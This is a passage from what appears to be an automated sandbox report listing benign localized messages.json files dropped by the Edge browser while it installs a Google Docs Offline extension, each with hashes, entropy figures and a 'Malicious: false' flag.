Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
